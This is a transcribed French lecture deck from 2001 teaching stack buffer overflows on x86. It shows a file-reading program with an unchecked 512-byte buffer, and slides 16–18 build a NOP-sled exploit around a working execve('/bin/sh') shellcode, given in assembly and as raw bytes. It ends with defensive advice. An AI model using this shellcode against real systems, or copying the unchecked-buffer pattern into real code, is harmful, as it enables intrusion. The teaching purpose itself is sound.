La présentation est en train de télécharger. S'il vous plaît, attendez

La présentation est en train de télécharger. S'il vous plaît, attendez

Sécurité et Buffer Overflow Yan Morvan – Juin 2001.

Présentations similaires


Présentation au sujet: "Sécurité et Buffer Overflow Yan Morvan – Juin 2001."— Transcription de la présentation:

1 Sécurité et Buffer Overflow Yan Morvan – Juin 2001

2 Plan Le microprocesseur Intel Principe du Buffer Overflow Que faire après la prise de contrôle ? Comment se protéger contre ces attaques ?

3 Le microprocesseur Intel Les registres de segment : CS, SS, DS, ES, FS, GS Les registres banalisés : EAX, EBX, ECX, EDX, ESI, EDI Les autres registres : EFLAGS, EIP, EBP, ESP

4 Décomposition d’un programme le code les datas la pile

5 Mécanisme de segmentation CS SS DS descripteur de segment Code Pile Datas Mémoire

6 Organisation de la mémoire sous Windows 32 et Linux CS SS DS descripteur de segment Code Pile Datas Mémoire

7 L’instruction mov movx, ; x = b, w ou l movl $2001,%eax// EAX < ; copie le nombre 2001 dans EAX movw $0xFFFF,%bx// BX<- 0xFFFF ; copie la valeur dans BX movl %ecx,(%eax) // [EAX] <- ECX ; [EAX] est la case mémoire pointée par EAX movb $0,4(%eax)// [EAX+4] <- 0 ; adressage base, déplacement

8 Les sauts inconditionnels jmp 0x08056E42/* Adressage direct EIP <- 0x08056E42 ; le programme va à l’adresse 0x08056E42 */ Debut:/* Etiquette Debut */ jmp Debut/* Déplacement généré sur 8 bits de valeur –2 (2 est la taille en octets de l’instruction jmp Debut) */ jmp *%eax/* Adressage indirect EIP <- EAX ; Saut à l’adresse contenue dans EAX */

9 La pile pushl décrémente ESP de 4 et pousse le contenu de sur la pile popl dépile la valeur pointée par ESP dans et incrémente ESP de 4

10 Conventions de la procédure appelante void main() { int a,b,c,d ; | d = appel(a,b,c) ; | } d = appel(a,b,c) ; pushl c pushl b pushl a call appel addl $12,%esp // Suppression des paramètres de la pile.

11 Conventions de la procédure appelée Début : pushl %ebp // EBP empilé movl %esp,%ebp// EBP <- ESP subl $8,%esp /* Place pour les variables locales d et pt D est un entier de 4 octets Pt est un pointeur contenant une adresse. Il est donc codé sur 4 octets. */ pushad// Sauvegarde de tous les registres Fin : popad// Restauration des registres movl –4(%ebp),%eax // -4(%ebp) contient la valeur de d movl %ebp,%esp// Suppression des variables locales popl %ebp// Restauration de l'ancien EBP ret int appel(int a, int b, int c) { int d ; char *pt ; | return d ; }

12 Contexte de l'appelant n ème paramètre empilé par l'appelant 1 er paramètre empilé par l'appelant Adresse de retour empilée par call EBP de l'appelant sauvé par l'appelé 1 ère variable locale de l'appelé n ème variable locale de l'appelé Sauvegarde des registres utilisés par l'appelé Adresses hautes Adresses basses Croissance de la pile ESP EBP

13 Le programme vulnérable int main(int argc, char * argv[]) { // Lit une chaine dans le fichier texte passe en 1er paramètre et l'affiche à l'écran char buf[512], *c ; FILE *fichier ; | c = &buf[0] ; while((*c = fgetc(fichier)) != 0) { c++ ; } |

14 Etat de la pile au début du main Adresse de retour empilée par call main EBP de l'appelant sauvé par main pointeur *c (4 octets) Adresses hautes Adresses basses ESP EBP buf 512 octets buf[511] buf[0] *fichier (16 octets) 8 octets supplémentaires

15 Adresses basses Adresses hautes buf[0]NOP shellcode 0xeb 0x18 'h' Nouvelle adresse de retour buf[511] EBP sauvegardé adresse de retour Nouvelle adresse de retour Sens de la pile Exéc ution des instr uctio ns size_ tot size_ tot / NOP _DI V

16 Ouvrir un shell en C #include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); }

17 Besoins nécessaires à l’ouverture du Shell Avoir en mémoire la chaîne "bin/sh" suivie du caractère NULL (caractère de fin de chaîne) Avoir en mémoire l'adresse de la chaîne "bin/sh" suivie d'un double mot NULL Copier 0xb dans le registre EAX Copier l'adresse de "bin/sh" dans le registre EBX Copier l'adresse de l'adresse de "/bin/sh" dans le registre ECX Copier NULL dans le registre EDX Exécuter l'instruction int $0x80

18 Compilation et obtention des codes opérations void main() { __asm__(" jmp 0x18 //2 octets popl %esi // 1 octet movl %esi,0x8(%esi) // 3 octets xorl %eax,%eax // 2 octets movb %al,0x7(%esi) // 3 octets movl %eax,0xc(%esi) // 3 octets movb $0xb,%al // 2 octets movl %esi,%ebx// 2 octets leal 0x8(%esi),%ecx// 3 octets leal 0xc(%esi),%edx// 3 octets int $0x80// 2 octets call -0x19// 5 octets.string \"/bin/sh\" "); } char shellcode[] = "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

19 Précautions à prendre Supprimer du code les caractères interdits Utiliser l’adressage relatif pour les sauts Positionner le pointeur de pile pour ne pas écraser le code

20 Exploit sous Windows Importation des fonctions systèmes utiles avec LoadLibraryA et GetProcAddress de la librairie Kernel32.dll Utiliser un débugger temps réel pour trouver l’adresse de retour Editer le fichier texte avec un éditeur binaire

21 Se protéger lorsqu’on est utilisateur Consulter régulièrement les newsletter portant sur la sécurité Appliquer les mises à jour immédiatement

22 Protéger lorsqu’on est développeur Instructions C à remplacer : gets(), strcpy(), strcat(), sprintf(), scanf(), sscanf() Utiliser StackGuard ou StackShield


Télécharger ppt "Sécurité et Buffer Overflow Yan Morvan – Juin 2001."

Présentations similaires


Annonces Google